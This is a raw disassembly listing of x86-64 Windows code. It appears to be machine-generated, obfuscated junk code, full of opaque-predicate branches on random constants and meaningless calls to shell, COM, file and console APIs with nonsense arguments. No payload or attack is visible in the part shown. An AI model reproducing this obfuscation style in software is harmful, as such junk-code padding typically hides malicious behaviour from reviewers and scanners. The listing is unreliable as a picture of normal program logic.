movabs rax, 0x595afb1eb374c9ff
cmp qword [rsp + 0x9218], rax
je 0x14005db02
movabs rax, 0x8a2b481cf818e591
cmp qword [rsp + 0x9218], rax
je 0x14005db43
jmp 0x14005db73
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14ac], ax
movzx r8d, word [rsp + 0xfbc]
mov rdx, qword [rsp + 0x9200]
mov rax, qword [rsp + 0x9160]
mov rcx, qword [rax]
call fcn.14020f290
nop
jmp 0x14005db73
mov eax, dword [rsp + 0x4ee0]
mov rcx, qword [rsp + 0x9158]
mov qword [rsp + 0x9220], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9220]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0x14ac]
or eax, ecx
movsx ecx, word [rsp + 0xfbc]
mov dword [rsp + 0x4f48], ecx
movsx edx, word [0x14025d750]
movzx ecx, dl
mov edx, dword [rsp + 0x4f48]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005dd03
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e98], eax
lea rax, [rsp + 0x8f60]
mov qword [rsp + 0x9228], rax
mov eax, dword [rsp + 0x4e18]
mov dword [rsp + 0x4f4c], eax
cmp dword [rsp + 0x4f4c], 0xf5edd2fe
je 0x14005dce7
cmp dword [rsp + 0x4f4c], 0xf929b27
je 0x14005dc0e
jmp 0x14005dd03
movzx eax, word [rsp + 0xeb4]
movzx ecx, word [rsp + 0x14b0]
sub eax, ecx
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x9030]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x14005dc62
mov rax, qword [rsp + 0x9160]
mov rcx, qword [rsp + 0x90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91f8], rax
jmp 0x14005dce5
mov eax, dword [rsp + 0x4dec]
mov ecx, dword [rsp + 0x4ebc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4f18]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14005dce5
movzx eax, word [rsp + 0x14a4]
mov dword [rsp + 0x4f50], eax
cmp dword [rsp + 0x4f50], 0x3a4
je 0x14005dcab
jmp 0x14005dcb3
call fcn.14020f790
nop
jmp 0x14005dce5
mov dword [rsp + 0x20], SHSetInstanceExplorer
lea r9, [rsp + 0x8ff0]
lea r8, [rsp + 0x4e20]
mov edx, 0xd8
mov rcx, qword [rsp + 0x9068]
call qword [sym.imp.SHELL32.dll_ExtractIconExA]
mov dword [rsp + 0x4f54], eax
jmp 0x14005dd03
movsx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0x9188]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ff], al
mov eax, dword [rsp + 0x4ee0]
mov dword [rsp + 0x4f58], eax
cmp dword [rsp + 0x4f58], 0xf5edd2fe
je 0x14005dd23
jmp 0x14020de38
movsx eax, word [rsp + 0x14ac]
mov rcx, qword [0x14025d758]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x14a8]
sub ecx, edx
cmp eax, ecx
je 0x14005ddf9
mov rax, qword [rsp + 0x90c8]
mov eax, dword [rax]
mov dword [rsp + 0x4f5c], eax
cmp dword [rsp + 0x4f5c], 0x93813a47
je 0x14005dd74
jmp 0x14005dddc
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [0x14025d758]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x14a8]
mov rdx, qword [rsp + 0x8f68]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x14005ddc5
mov r8, qword [rsp + 0x90c0]
mov edx, dword [rsp + 0x4dec]
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rax]
call fcn.14020ffb0
nop
jmp 0x14005ddda
mov rcx, qword [rsp + 0x9230]
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov dword [rsp + 0x4ea8], eax
jmp 0x14005ddf9
mov rax, qword [rsp + 0x9038]
mov rcx, qword [0x14025c018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0x9090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fd0]
mov qword [rsp + 0x9238], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e5c], eax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x9200]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8fc0]
mov rdx, qword [rsp + 0x8f60]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
ja 0x14005df7d
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14b4], ax
mov rax, qword [rsp + 0x9160]
mov rax, qword [rax]
mov qword [rsp + 0x9240], rax
movabs rax, 0x15d0481000000000
cmp qword [rsp + 0x9240], rax
je 0x14005ded8
jmp 0x14005df5c
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [0x14025d750]
and eax, ecx
mov word [rsp + 0x14ac], ax
lea rax, [rsp + 0x90c0]
mov qword [0x14025d768], rax
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0x9248], rax
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x91b8]
mov eax, dword [rax]
mov dword [rsp + 0x4f60], eax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e8c], eax
jmp 0x14005df7b
movzx r8d, word [rsp + 0x14a8]
mov rdx, qword [rsp + 0x9200]
mov rcx, qword [rsp + 0x90a0]
call fcn.14020f290
nop
jmp 0x14005dfe9
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b0]
or eax, ecx
movzx ecx, word [rsp + 0x14a4]
mov rdx, qword [rsp + 0x91c8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14005dfe9
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fc0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
lea rdx, [rsp + 0x28490]
lea rcx, [rsp + 0x278e0]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x4f64], eax
mov eax, dword [0x14025c010]
mov ecx, dword [rsp + 0x4dec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4f60]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14005e092
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0x9170]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
movsx eax, word [0x14025d750]
mov dword [rsp + 0x4f68], eax
cmp dword [rsp + 0x4f68], 0x3531
je 0x14005e04e
jmp 0x14005e073
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
jmp 0x14005e092
mov r8, qword [rsp + 0x9170]
mov edx, dword [rsp + 0x4ef4]
mov rax, qword [rsp + 0x91e0]
mov ecx, dword [rax]
call fcn.14020ffb0
nop
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x14a8]
mov dword [rsp + 0x4f6c], ecx
mov rdx, qword [rsp + 0x9040]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4f6c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14005e1b5
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8fc0]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14005e14d
movsx eax, word [rsp + 0x14ac]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x91a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9190]
mov byte [rcx], al
lea r9, [rsp + 0x9088]
mov r8d, 0xca
mov edx, ILCreateFromPathA
mov rcx, qword [rsp + 0x9028]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x4e80], eax
mov rax, qword [0x14025d768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9170]
sub rcx, rax
mov rax, rcx
mov qword [0x14025c018], rax
movzx r8d, word [rsp + 0xeb4]
mov rdx, qword [rsp + 0x9038]
mov rax, qword [rsp + 0x91c8]
movzx ecx, word [rax]
call fcn.140210960
nop
mov rax, qword [rsp + 0x91a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ef4]
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
lea rax, [rsp + 0x90a0]
mov qword [rsp + 0x9250], rax
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [rsp + 0x9158]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x91a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov qword [rsp + 0x9258], rax
movabs rax, 0x15d0481000000000
cmp qword [rsp + 0x9258], rax
je 0x14005e25f
jmp 0x14005e359
mov rax, qword [rsp + 0x9248]
movzx eax, word [rax]
mov dword [rsp + 0x4f74], eax
cmp dword [rsp + 0x4f74], 0
je 0x14005e291
cmp dword [rsp + 0x4f74], 0x685
je 0x14005e334
jmp 0x14005e357
mov rax, qword [rsp + 0x90c8]
mov eax, dword [rax]
mov dword [rsp + 0x4f78], eax
cmp dword [rsp + 0x4f78], 0x7dea4793
je 0x14005e2be
cmp dword [rsp + 0x4f78], 0xac0a8d50
je 0x14005e31d
jmp 0x14005e332
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0x90b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fc], al
mov r8, qword [rsp + 0x9038]
mov rax, qword [rsp + 0x8f70]
mov edx, dword [rax]
mov ecx, dword [0x14025c010]
call fcn.14020ffb0
nop
jmp 0x14005e332
lea rcx, [rsp + 0x28140]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x4ed4], eax
jmp 0x14005e357
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9198]
mov word [rcx], ax
jmp 0x14005e3aa
mov rax, qword [rsp + 0x91e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f9]
add eax, ecx
mov byte [0x14025c00c], al
lea rcx, [rsp + 0x283d0]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsp + 0x8fb0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x90a8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x9248]
movzx ecx, word [rax]
call fcn.140210960
nop
mov rax, qword [rsp + 0x8fc0]
mov qword [rsp + 0x9260], rax
movabs rax, 0x16d3ab1de2c8c84f
cmp qword [rsp + 0x9260], rax
je 0x14005e3d0
jmp 0x14005e3f2
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0x9248]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14a4], ax
jmp 0x14005e4d2
mov rax, qword [rsp + 0x9200]
mov rcx, qword [rsp + 0x8f60]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f6]
mov byte [rsp + 0x4f7c], al
cmp byte [rsp + 0x4f7c], 0xa2
je 0x14005e431
jmp 0x14005e4d2
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov byte [rsp + 0x4f80], al
cmp byte [rsp + 0x4f80], 6
je 0x14005e4ad
cmp byte [rsp + 0x4f80], 0xba
je 0x14005e459
jmp 0x14005e4d2
lea rcx, [rsp + 0x279b8]
call qword [sym.imp.SHELL32.dll_SHFileOperationA]
mov dword [rsp + 0x4f84], eax
mov rax, qword [rsp + 0x9160]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x91f8]
sar rax, cl
mov rcx, qword [rsp + 0x9180]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e20]
movzx ecx, al
mov eax, dword [0x14025c008]
shl eax, cl
mov dword [rsp + 0x4e30], eax
jmp 0x14005e4d2
lea r8, [rsp + 0x27d10]
lea rdx, [rsp + 0x278c0]
lea rcx, [rsp + 0x8fb8]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8f60]
mov qword [rsp + 0x9268], rax
cmp qword [rsp + 0x9268], 0
je 0x14005e4f2
jmp 0x14005e57d
mov eax, dword [rsp + 0x4c88]
mov dword [rsp + 0x4f88], eax
movsx eax, byte [rsp + 0x1fe]
movsx ecx, byte [rsp + 0x1f4]
and eax, ecx
mov rcx, qword [rsp + 0x9140]
mov byte [rcx], al
movzx eax, word [rsp + 0x14b4]
mov word [rsp + 0x14b8], ax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x200], al
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14ac]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1fe]
mov byte [rsp + 0x201], al
jmp 0x14005e62c
mov eax, dword [rsp + 0x4e30]
mov dword [rsp + 0x4f84], eax
mov rax, qword [rsp + 0x9198]
movzx eax, word [rax]
mov dword [rsp + 0x4f8c], eax
cmp dword [rsp + 0x4f8c], 0x42d
je 0x14005e60b
cmp dword [rsp + 0x4f8c], 0x565
je 0x14005e5b9
jmp 0x14005e62c
mov rax, qword [rsp + 0x91b8]
mov ecx, dword [rsp + 0x4ebc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov ecx, 0x4d
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x4f90], eax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
jmp 0x14005e62c
mov rax, qword [rsp + 0x9160]
mov rcx, qword [rsp + 0x90c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
lea rax, [rsp + 0x1f9]
mov qword [rsp + 0x9270], rax
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [rsp + 0x1fc]
add eax, ecx
mov byte [0x14025c00d], al
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0x14ac]
add eax, ecx
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x90b0]
movzx eax, byte [rax]
mov byte [rsp + 0x202], al
movzx eax, word [rsp + 0x14b4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov dword [rsp + 0x4f94], eax
cmp dword [rsp + 0x4f94], 0
je 0x14005e6f5
cmp dword [rsp + 0x4f94], 0x21b0
je 0x14005e846
jmp 0x14005e926
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
sub eax, ecx
mov byte [rsp + 0x1fd], al
movzx eax, byte [rsp + 0x1fc]
mov byte [rsp + 0x4f98], al
cmp byte [rsp + 0x4f98], 7
je 0x14005e825
cmp byte [rsp + 0x4f98], 0x19
je 0x14005e73a
jmp 0x14005e841
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [rsp + 0x1fc]
movsx edx, byte [rsp + 0x1f4]
or ecx, edx
cmp eax, ecx
je 0x14005e823
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov rcx, qword [0x14025d768]
mov qword [rsp + 0x9278], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9278]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x90a0], rax
mov eax, dword [rsp + 0x4e5c]
mov dword [rsp + 0x4f9c], eax
cmp dword [rsp + 0x4f9c], 0x45fe116b
je 0x14005e81d
cmp dword [rsp + 0x4f9c], 0x72a24888
je 0x14005e7c9
jmp 0x14005e823
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e20]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
lea rcx, [rsp + 0x9210]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x4fa0], eax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8fa0], rax
jmp 0x14005e823
call fcn.14020f790
nop
jmp 0x14005e841
mov eax, dword [rsp + 0x4ef4]
mov ecx, dword [rsp + 0x4e58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov dword [rcx], eax
jmp 0x14005e926
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0xfbc]
add eax, ecx
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x9040]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14005e909
movsx eax, byte [rsp + 0x1fe]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14025c00d], al
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov dword [rsp + 0x4fa4], eax
cmp dword [rsp + 0x4fa4], 0x4a74bb86
je 0x14005e8fa
cmp dword [rsp + 0x4fa4], 0x6ed8eb2e
je 0x14005e8c0
jmp 0x14005e907
movzx eax, word [rsp + 0x14b8]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x9030]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0x1ff]
movzx edx, byte [rsp + 0x201]
movzx ecx, byte [rsp + 0x201]
call fcn.1402104a0
nop
jmp 0x14005e907
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x4fa8], eax
jmp 0x14005e926
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
add eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
movzx eax, word [rsp + 0x14b8]
mov word [rsp + 0x14bc], ax
mov rax, qword [rsp + 0x9248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9248]
mov word [rcx], ax
mov rax, qword [rsp + 0x91b8]
mov eax, dword [rax]
mov dword [rsp + 0x4fac], eax
cmp dword [rsp + 0x4fac], 0
je 0x14005e98a
cmp dword [rsp + 0x4fac], 0x5d203904
je 0x14020dc68
jmp 0x14020ddad
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x14b4]
movzx edx, word [rsp + 0x14b0]
sub ecx, edx
cmp eax, ecx
jl 0x14020dbef
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov rdx, qword [rsp + 0x8f78]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jbe 0x14005ea4b
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
sub eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
mov dword [rsp + 0x28], SHSetInstanceExplorer
lea rax, str.moisturiser_Typographic_caves_Doing_Diapason
mov qword [rsp + 0x20], rax
mov r9d, 0xc1
lea r8, str.Ask_Gutters_Statistically
mov edx, 0x2a
mov ecx, 0x1d
call qword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [rsp + 0x4ee0], eax
mov eax, dword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x8fe0]
mov qword [rsp + 0x9280], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0x9200]
mov rcx, qword [rsp + 0x8f60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov qword [rsp + 0x9288], rax
cmp qword [rsp + 0x9288], 0
je 0x14005eab9
movzx eax, byte [rsp + 0x1f8]
mov byte [rsp + 0x82f8], al
cmp byte [rsp + 0x82f8], 0x4e
je 0x14020dc0a
jmp 0x14020dc47
movsx eax, byte [rsp + 0x1f7]
movsx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov rcx, qword [rsp + 0x9188]
mov byte [rcx], al
mov r8, qword [rsp + 0x9038]
mov edx, dword [rsp + 0x4e98]
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rax]
call fcn.14020ffb0
nop
jmp 0x14020dc63
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x9150]
mov qword [rsp + 0x27840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x27840]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e5c]
mov ecx, dword [rsp + 0x4e30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e20], eax
movzx eax, byte [rsp + 0x202]
mov byte [rsp + 0x82fc], al
cmp byte [rsp + 0x82fc], 0x54
je 0x14020dcde
jmp 0x14020dcf8
movzx eax, word [rsp + 0xeb4]
movzx ecx, word [rsp + 0x14b4]
sub eax, ecx
mov word [rsp + 0x14b8], ax
lea rdx, [rsp + 0x9188]
mov rcx, qword [rsp + 0x9020]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x4f54], eax
mov rax, qword [rsp + 0x91b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x90c8]
mov qword [rsp + 0x27848], rcx
movzx ecx, al
mov rax, qword [rsp + 0x27848]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4e9c], eax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0x14ac]
and eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
mov dword [rsp + 0x38], 0x66
mov rax, qword [rsp + 0x27720]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x49
lea r9, [rsp + 0x91d0]
mov r8d, 0x5c
mov edx, 0x39
lea rcx, [rsp + 0x9028]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x4fb4], eax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
sub eax, ecx
mov byte [rsp + 0x1f9], al
mov rax, qword [0x14025d760]
mov eax, dword [rax]
mov dword [rsp + 0x8300], eax
cmp dword [rsp + 0x8300], 0x22abd7d8
je 0x14020dde5
mov rcx, qword [rsp + 0x9230]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x4f18], eax
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [0x14025d750]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x90b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9140]
movzx eax, byte [rax]
mov byte [rsp + 0x8304], al
cmp byte [rsp + 0x8304], 0x47
je 0x14020df7f
cmp byte [rsp + 0x8304], 0x52
je 0x14020dedb
jmp 0x14020df9a
movzx eax, byte [rsp + 0x1f9]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
imul eax, ecx
movzx ecx, byte [rsp + 0x1f8]
movzx edx, byte [rsp + 0x1f6]
add ecx, edx
cmp eax, ecx
jle 0x14020df24
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
movzx ecx, byte [0x14025d752]
shl eax, cl
mov byte [rsp + 0x1f6], al
jmp 0x14020df7d
lea rax, [rsp + 0x9150]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x8fe0]
mov r8d, 0xce
lea rdx, [rsp + 0x27c30]
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_BackupRead]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x8fb8]
movzx ecx, word [rax]
call fcn.14020feb0
nop
jmp 0x14020df9a
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ac]
xor eax, ecx
mov byte [0x14025d752], al
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov qword [rsp + 0x27850], rax
movabs rax, 0x74bcc8f19d1e7bff
cmp qword [rsp + 0x27850], rax
je 0x14020dfc3
jmp 0x14020dfdf
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [0x14025d750]
add eax, ecx
mov word [rsp + 0x14ac], ax
lea rdx, [rsp + 0x27920]
lea rcx, [rsp + 0x278b0]
call qword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [rsp + 0x4fa0], eax
mov rax, qword [rsp + 0x91e0]
mov rcx, qword [rsp + 0x91b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0x90a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9180]
mov qword [rcx], rax
lea r8, [rsp + 0x27d10]
lea rdx, [rsp + 0x14a8]
lea rcx, [rsp + 0x278b0]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x4e78], eax
jmp 0x14020e139
mov eax, dword [rsp + 0x4e30]
mov dword [rsp + 0x8308], eax
cmp dword [rsp + 0x8308], 0x6599c455
je 0x14020e081
jmp 0x14020e0bf
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
sar eax, cl
mov word [rsp + 0x14a4], ax
mov r8, qword [rsp + 0x9038]
mov edx, dword [rsp + 0x4e58]
mov rax, qword [rsp + 0x91b8]
mov ecx, dword [rax]
call fcn.14020ffb0
nop
jmp 0x14020e0de
movzx eax, byte [rsp + 0x1f6]
mov rcx, qword [rsp + 0x91e8]
